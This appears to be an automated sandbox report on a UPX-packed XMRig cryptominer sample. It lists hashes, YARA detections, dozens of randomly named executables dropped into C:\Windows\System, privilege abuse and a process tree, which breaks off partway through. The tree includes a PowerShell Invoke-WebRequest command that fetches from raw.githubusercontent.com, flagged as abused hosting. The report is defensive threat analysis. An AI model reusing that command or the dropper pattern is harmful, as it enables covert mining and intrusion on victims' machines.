xmrig | f4281336c75c9d06c40cf3d722709d7e806d635729b5f93bb63258796b684342

Analysis

max time kernel
72s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
27-04-2024 21:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
Size

2.2MB
MD5

03af2bdb6f1fe7e004f9d39efe7386bb
SHA1

2fab8949831febb3a6a05a8de00354ce663238c3
SHA256

f4281336c75c9d06c40cf3d722709d7e806d635729b5f93bb63258796b684342
SHA512

ae829fbc6ec8cd9657992fb10aeb24bc6f13b4fc6f427230d658e3faa6f43897ea37dbbadf52309e581a2b30d922d1f13d7da68a5aade626e24f3819a1aa0584
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82g1VQx7Va4qrfT:NABE

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 37 IoCs

miner

resource	yara_rule
behavioral2/memory/536-42-0x00007FF712780000-0x00007FF712B72000-memory.dmp	xmrig
behavioral2/memory/4896-51-0x00007FF6DE8A0000-0x00007FF6DEC92000-memory.dmp	xmrig
behavioral2/memory/5092-78-0x00007FF6071C0000-0x00007FF6075B2000-memory.dmp	xmrig
behavioral2/memory/2060-112-0x00007FF7E5560000-0x00007FF7E5952000-memory.dmp	xmrig
behavioral2/memory/2532-116-0x00007FF6073F0000-0x00007FF6077E2000-memory.dmp	xmrig
behavioral2/memory/1480-115-0x00007FF7F3F50000-0x00007FF7F4342000-memory.dmp	xmrig
behavioral2/memory/1472-114-0x00007FF744540000-0x00007FF744932000-memory.dmp	xmrig
behavioral2/memory/3900-113-0x00007FF6C4460000-0x00007FF6C4852000-memory.dmp	xmrig
behavioral2/memory/4920-109-0x00007FF783B40000-0x00007FF783F32000-memory.dmp	xmrig
behavioral2/memory/4656-99-0x00007FF601D90000-0x00007FF602182000-memory.dmp	xmrig
behavioral2/memory/2176-81-0x00007FF7EBC50000-0x00007FF7EC042000-memory.dmp	xmrig
behavioral2/memory/2572-74-0x00007FF69B0E0000-0x00007FF69B4D2000-memory.dmp	xmrig
behavioral2/memory/4988-60-0x00007FF745DB0000-0x00007FF7461A2000-memory.dmp	xmrig
behavioral2/memory/4888-57-0x00007FF7FD020000-0x00007FF7FD412000-memory.dmp	xmrig
behavioral2/memory/1752-52-0x00007FF693710000-0x00007FF693B02000-memory.dmp	xmrig
behavioral2/memory/4576-1599-0x00007FF72ED50000-0x00007FF72F142000-memory.dmp	xmrig
behavioral2/memory/3648-1661-0x00007FF7AF7B0000-0x00007FF7AFBA2000-memory.dmp	xmrig
behavioral2/memory/1796-1613-0x00007FF6C3EA0000-0x00007FF6C4292000-memory.dmp	xmrig
behavioral2/memory/536-1821-0x00007FF712780000-0x00007FF712B72000-memory.dmp	xmrig
behavioral2/memory/2060-1884-0x00007FF7E5560000-0x00007FF7E5952000-memory.dmp	xmrig
behavioral2/memory/1796-1996-0x00007FF6C3EA0000-0x00007FF6C4292000-memory.dmp	xmrig
behavioral2/memory/4896-1982-0x00007FF6DE8A0000-0x00007FF6DEC92000-memory.dmp	xmrig
behavioral2/memory/2176-1976-0x00007FF7EBC50000-0x00007FF7EC042000-memory.dmp	xmrig
behavioral2/memory/4920-1908-0x00007FF783B40000-0x00007FF783F32000-memory.dmp	xmrig
behavioral2/memory/4988-1878-0x00007FF745DB0000-0x00007FF7461A2000-memory.dmp	xmrig
behavioral2/memory/1752-1876-0x00007FF693710000-0x00007FF693B02000-memory.dmp	xmrig
behavioral2/memory/4656-1819-0x00007FF601D90000-0x00007FF602182000-memory.dmp	xmrig
behavioral2/memory/3900-1869-0x00007FF6C4460000-0x00007FF6C4852000-memory.dmp	xmrig
behavioral2/memory/5092-1864-0x00007FF6071C0000-0x00007FF6075B2000-memory.dmp	xmrig
behavioral2/memory/2572-1857-0x00007FF69B0E0000-0x00007FF69B4D2000-memory.dmp	xmrig
behavioral2/memory/3648-2066-0x00007FF7AF7B0000-0x00007FF7AFBA2000-memory.dmp	xmrig
behavioral2/memory/4744-2064-0x00007FF6D2440000-0x00007FF6D2832000-memory.dmp	xmrig
behavioral2/memory/2532-2188-0x00007FF6073F0000-0x00007FF6077E2000-memory.dmp	xmrig
behavioral2/memory/1480-2185-0x00007FF7F3F50000-0x00007FF7F4342000-memory.dmp	xmrig
behavioral2/memory/4888-2162-0x00007FF7FD020000-0x00007FF7FD412000-memory.dmp	xmrig
behavioral2/memory/2356-2161-0x00007FF76B3F0000-0x00007FF76B7E2000-memory.dmp	xmrig
behavioral2/memory/4576-2147-0x00007FF72ED50000-0x00007FF72F142000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

flow	pid	Process
9	5004	powershell.exe
11	5004	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
536	gKppDmm.exe
4896	USYojEi.exe
1752	OZEscmK.exe
4888	SArTLKd.exe
4988	lolhYBC.exe
2572	lINUypP.exe
5092	hWeORKT.exe
2176	vumjLjM.exe
2356	MTrXTkh.exe
4656	gxZucBG.exe
4920	jilNzuJ.exe
2060	yikwhzb.exe
3900	bldePlY.exe
1472	KaDpeta.exe
3320	TnxdOyV.exe
1480	yYjOvck.exe
2532	zOSmorw.exe
4576	KoeqKwS.exe
1796	ZgSOkAs.exe
3648	CGqmiyM.exe
4744	ArBwjIf.exe
2824	TQkbnGv.exe
2136	OMEMfwB.exe
4604	XuXahZy.exe
2964	pUEsDHB.exe
2832	YhzasTC.exe
1780	OQOfxzE.exe
2836	hpQTQiE.exe
1332	NQxHifP.exe
4620	HfJUBDs.exe
1820	imnCsYN.exe
4428	DMOZvBf.exe
2424	dTllJDE.exe
1504	zihVQLX.exe
4464	aFKvTda.exe
220	IsmRIZM.exe
1468	IEaOjyf.exe
4560	gPsmaKJ.exe
4508	IVLiofA.exe
2120	mAebXNl.exe
2428	hYUgXOp.exe
4076	hFCCqrq.exe
1968	PhqxtLg.exe
1828	DkjKiVd.exe
4760	bPBKOrv.exe
2308	LJdcSyx.exe
4364	qxdFjZu.exe
3980	DiWnARt.exe
4884	JapBaLE.exe
1660	NHeihrG.exe
2788	ygZZXpI.exe
4388	fZNRdVz.exe
2856	deOcmZc.exe
4452	odaxXmx.exe
5012	yuyoNsv.exe
5144	PQiZHbr.exe
5176	iaIHseJ.exe
5196	GXGTxEl.exe
5216	nNykynq.exe
5244	dTrXbad.exe
5276	CwcLjeW.exe
5320	yPYQsTE.exe
5340	OptrdWO.exe
5368	OZyFEel.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4752-0-0x00007FF65A7A0000-0x00007FF65AB92000-memory.dmp	upx
behavioral2/files/0x0008000000023262-5.dat	upx
behavioral2/files/0x0009000000023267-19.dat	upx
behavioral2/files/0x000700000002326a-18.dat	upx
behavioral2/files/0x0008000000023268-30.dat	upx
behavioral2/files/0x0008000000023269-35.dat	upx
behavioral2/memory/536-42-0x00007FF712780000-0x00007FF712B72000-memory.dmp	upx
behavioral2/files/0x000700000002326b-46.dat	upx
behavioral2/memory/4896-51-0x00007FF6DE8A0000-0x00007FF6DEC92000-memory.dmp	upx
behavioral2/files/0x000700000002326d-59.dat	upx
behavioral2/files/0x000700000002326c-70.dat	upx
behavioral2/files/0x0007000000023270-76.dat	upx
behavioral2/memory/5092-78-0x00007FF6071C0000-0x00007FF6075B2000-memory.dmp	upx
behavioral2/files/0x0007000000023272-91.dat	upx
behavioral2/files/0x0007000000023274-100.dat	upx
behavioral2/files/0x0007000000023275-110.dat	upx
behavioral2/memory/2060-112-0x00007FF7E5560000-0x00007FF7E5952000-memory.dmp	upx
behavioral2/files/0x0007000000023276-119.dat	upx
behavioral2/files/0x000700000002327d-152.dat	upx
behavioral2/files/0x000700000002327f-170.dat	upx
behavioral2/files/0x0007000000023285-191.dat	upx
behavioral2/files/0x0007000000023284-189.dat	upx
behavioral2/files/0x0007000000023283-187.dat	upx
behavioral2/files/0x0007000000023282-183.dat	upx
behavioral2/files/0x0007000000023281-180.dat	upx
behavioral2/files/0x0007000000023280-175.dat	upx
behavioral2/files/0x000700000002327e-165.dat	upx
behavioral2/files/0x000700000002327c-155.dat	upx
behavioral2/files/0x000700000002327b-150.dat	upx
behavioral2/files/0x000700000002327a-145.dat	upx
behavioral2/files/0x0007000000023279-137.dat	upx
behavioral2/files/0x0007000000023278-133.dat	upx
behavioral2/files/0x0007000000023277-128.dat	upx
behavioral2/memory/2532-116-0x00007FF6073F0000-0x00007FF6077E2000-memory.dmp	upx
behavioral2/memory/1480-115-0x00007FF7F3F50000-0x00007FF7F4342000-memory.dmp	upx
behavioral2/memory/1472-114-0x00007FF744540000-0x00007FF744932000-memory.dmp	upx
behavioral2/memory/3900-113-0x00007FF6C4460000-0x00007FF6C4852000-memory.dmp	upx
behavioral2/memory/4920-109-0x00007FF783B40000-0x00007FF783F32000-memory.dmp	upx
behavioral2/memory/3320-106-0x00007FF6D2980000-0x00007FF6D2D72000-memory.dmp	upx
behavioral2/files/0x0007000000023273-103.dat	upx
behavioral2/memory/4656-99-0x00007FF601D90000-0x00007FF602182000-memory.dmp	upx
behavioral2/files/0x0007000000023271-85.dat	upx
behavioral2/files/0x000700000002326f-82.dat	upx
behavioral2/memory/2176-81-0x00007FF7EBC50000-0x00007FF7EC042000-memory.dmp	upx
behavioral2/files/0x000700000002326e-75.dat	upx
behavioral2/memory/2572-74-0x00007FF69B0E0000-0x00007FF69B4D2000-memory.dmp	upx
behavioral2/memory/2356-68-0x00007FF76B3F0000-0x00007FF76B7E2000-memory.dmp	upx
behavioral2/memory/4988-60-0x00007FF745DB0000-0x00007FF7461A2000-memory.dmp	upx
behavioral2/memory/4888-57-0x00007FF7FD020000-0x00007FF7FD412000-memory.dmp	upx
behavioral2/memory/1752-52-0x00007FF693710000-0x00007FF693B02000-memory.dmp	upx
behavioral2/files/0x0008000000023266-47.dat	upx
behavioral2/memory/4576-1599-0x00007FF72ED50000-0x00007FF72F142000-memory.dmp	upx
behavioral2/memory/3648-1661-0x00007FF7AF7B0000-0x00007FF7AFBA2000-memory.dmp	upx
behavioral2/memory/1796-1613-0x00007FF6C3EA0000-0x00007FF6C4292000-memory.dmp	upx
behavioral2/memory/536-1821-0x00007FF712780000-0x00007FF712B72000-memory.dmp	upx
behavioral2/memory/2060-1884-0x00007FF7E5560000-0x00007FF7E5952000-memory.dmp	upx
behavioral2/memory/1796-1996-0x00007FF6C3EA0000-0x00007FF6C4292000-memory.dmp	upx
behavioral2/memory/4896-1982-0x00007FF6DE8A0000-0x00007FF6DEC92000-memory.dmp	upx
behavioral2/memory/2176-1976-0x00007FF7EBC50000-0x00007FF7EC042000-memory.dmp	upx
behavioral2/memory/4920-1908-0x00007FF783B40000-0x00007FF783F32000-memory.dmp	upx
behavioral2/memory/4988-1878-0x00007FF745DB0000-0x00007FF7461A2000-memory.dmp	upx
behavioral2/memory/1752-1876-0x00007FF693710000-0x00007FF693B02000-memory.dmp	upx
behavioral2/memory/4656-1819-0x00007FF601D90000-0x00007FF602182000-memory.dmp	upx
behavioral2/memory/3900-1869-0x00007FF6C4460000-0x00007FF6C4852000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	raw.githubusercontent.com
9	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\wFkBqOd.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\SMtTfks.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\kpYfgbR.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\TQCVmgj.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\DQkJrOe.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\FWMkbVL.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\JPtWPxt.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\vafhNpk.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\yFSPjmS.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\HtRcKgM.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\HfJUBDs.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\qxdFjZu.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\gHTFida.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\pDwCrzj.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\FMwAXeD.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\byoGKIe.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\uxOUvcy.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\GsizQmA.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\OdyWMLA.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\vjEUERF.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\LPhrXpo.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\vCJNgij.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\gxZucBG.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\mAebXNl.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\ysMyJxn.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\jxhzjxc.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\leDdidV.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\oduorsa.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\mcOrNxr.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\IlGAHDZ.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\ipCLvtG.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\aqJiZzU.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\phGHCLl.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\AZFKaZz.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\dxYABpH.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\nhDZbIx.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\gMYkyEw.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\yuqqrSN.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\ondgTDU.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\XmpLrxD.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\rcIwtbz.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\YlczJzq.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\OBTpacm.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\NYypsJE.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\NHeihrG.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\QEOOHKK.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\SnkMSat.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\kNxKZhl.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\zxGmZHG.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\PHPMZMC.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\ygHlTAZ.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\CkkoRjh.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\MSIJGte.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\iNJnBvi.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\soIUhek.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\OZyFEel.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\QSPxKPX.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\lilblHy.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\WONLVxB.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\zMdaIxL.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\CqYiVWE.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\QtWFlNp.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\mymbaDx.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
File created	C:\Windows\System\NYYxnTa.exe	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
5004	powershell.exe
5004	powershell.exe
5004	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
Token: SeDebugPrivilege	5004	powershell.exe
Token: SeLockMemoryPrivilege	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4752 wrote to memory of 5004	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	90
PID 4752 wrote to memory of 5004	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	90
PID 4752 wrote to memory of 536	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	91
PID 4752 wrote to memory of 536	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	91
PID 4752 wrote to memory of 4896	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	92
PID 4752 wrote to memory of 4896	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	92
PID 4752 wrote to memory of 1752	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	93
PID 4752 wrote to memory of 1752	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	93
PID 4752 wrote to memory of 4888	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	94
PID 4752 wrote to memory of 4888	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	94
PID 4752 wrote to memory of 4988	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	95
PID 4752 wrote to memory of 4988	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	95
PID 4752 wrote to memory of 2572	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	96
PID 4752 wrote to memory of 2572	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	96
PID 4752 wrote to memory of 5092	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	97
PID 4752 wrote to memory of 5092	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	97
PID 4752 wrote to memory of 2176	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	98
PID 4752 wrote to memory of 2176	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	98
PID 4752 wrote to memory of 2356	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	99
PID 4752 wrote to memory of 2356	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	99
PID 4752 wrote to memory of 4656	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	100
PID 4752 wrote to memory of 4656	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	100
PID 4752 wrote to memory of 4920	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	101
PID 4752 wrote to memory of 4920	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	101
PID 4752 wrote to memory of 2060	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	102
PID 4752 wrote to memory of 2060	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	102
PID 4752 wrote to memory of 3900	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	103
PID 4752 wrote to memory of 3900	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	103
PID 4752 wrote to memory of 1472	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	104
PID 4752 wrote to memory of 1472	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	104
PID 4752 wrote to memory of 3320	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	105
PID 4752 wrote to memory of 3320	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	105
PID 4752 wrote to memory of 1480	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	106
PID 4752 wrote to memory of 1480	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	106
PID 4752 wrote to memory of 2532	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	107
PID 4752 wrote to memory of 2532	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	107
PID 4752 wrote to memory of 4576	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	108
PID 4752 wrote to memory of 4576	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	108
PID 4752 wrote to memory of 1796	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	109
PID 4752 wrote to memory of 1796	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	109
PID 4752 wrote to memory of 3648	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	110
PID 4752 wrote to memory of 3648	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	110
PID 4752 wrote to memory of 4744	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	111
PID 4752 wrote to memory of 4744	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	111
PID 4752 wrote to memory of 2824	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	112
PID 4752 wrote to memory of 2824	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	112
PID 4752 wrote to memory of 2136	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	113
PID 4752 wrote to memory of 2136	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	113
PID 4752 wrote to memory of 4604	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	114
PID 4752 wrote to memory of 4604	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	114
PID 4752 wrote to memory of 2964	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	115
PID 4752 wrote to memory of 2964	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	115
PID 4752 wrote to memory of 2832	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	116
PID 4752 wrote to memory of 2832	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	116
PID 4752 wrote to memory of 1780	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	117
PID 4752 wrote to memory of 1780	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	117
PID 4752 wrote to memory of 2836	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	118
PID 4752 wrote to memory of 2836	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	118
PID 4752 wrote to memory of 1332	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	119
PID 4752 wrote to memory of 1332	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	119
PID 4752 wrote to memory of 4620	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	120
PID 4752 wrote to memory of 4620	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	120
PID 4752 wrote to memory of 1820	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	121
PID 4752 wrote to memory of 1820	4752	03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe	121

C:\Users\Admin\AppData\Local\Temp\03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\03af2bdb6f1fe7e004f9d39efe7386bb_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5004
- C:\Windows\System\gKppDmm.exe
  C:\Windows\System\gKppDmm.exe
  2⤵
  - Executes dropped EXE
  PID:536
- C:\Windows\System\USYojEi.exe
  C:\Windows\System\USYojEi.exe
  2⤵
  - Executes dropped EXE
  PID:4896
- C:\Windows\System\OZEscmK.exe
  C:\Windows\System\OZEscmK.exe
  2⤵
  - Executes dropped EXE
  PID:1752
- C:\Windows\System\SArTLKd.exe
  C:\Windows\System\SArTLKd.exe
  2⤵
  - Executes dropped EXE
  PID:4888
- C:\Windows\System\lolhYBC.exe
  C:\Windows\System\lolhYBC.exe
  2⤵
  - Executes dropped EXE
  PID:4988
- C:\Windows\System\lINUypP.exe
  C:\Windows\System\lINUypP.exe
  2⤵
  - Executes dropped EXE
  PID:2572
- C:\Windows\System\hWeORKT.exe
  C:\Windows\System\hWeORKT.exe
  2⤵
  - Executes dropped EXE
  PID:5092
- C:\Windows\System\vumjLjM.exe
  C:\Windows\System\vumjLjM.exe
  2⤵
  - Executes dropped EXE
  PID:2176
- C:\Windows\System\MTrXTkh.exe
  C:\Windows\System\MTrXTkh.exe
  2⤵
  - Executes dropped EXE
  PID:2356
- C:\Windows\System\gxZucBG.exe
  C:\Windows\System\gxZucBG.exe
  2⤵
  - Executes dropped EXE
  PID:4656
- C:\Windows\System\jilNzuJ.exe
  C:\Windows\System\jilNzuJ.exe
  2⤵
  - Executes dropped EXE
  PID:4920
- C:\Windows\System\yikwhzb.exe
  C:\Windows\System\yikwhzb.exe
  2⤵
  - Executes dropped EXE
  PID:2060
- C:\Windows\System\bldePlY.exe
  C:\Windows\System\bldePlY.exe
  2⤵
  - Executes dropped EXE
  PID:3900
- C:\Windows\System\KaDpeta.exe
  C:\Windows\System\KaDpeta.exe
  2⤵
  - Executes dropped EXE
  PID:1472
- C:\Windows\System\TnxdOyV.exe
  C:\Windows\System\TnxdOyV.exe
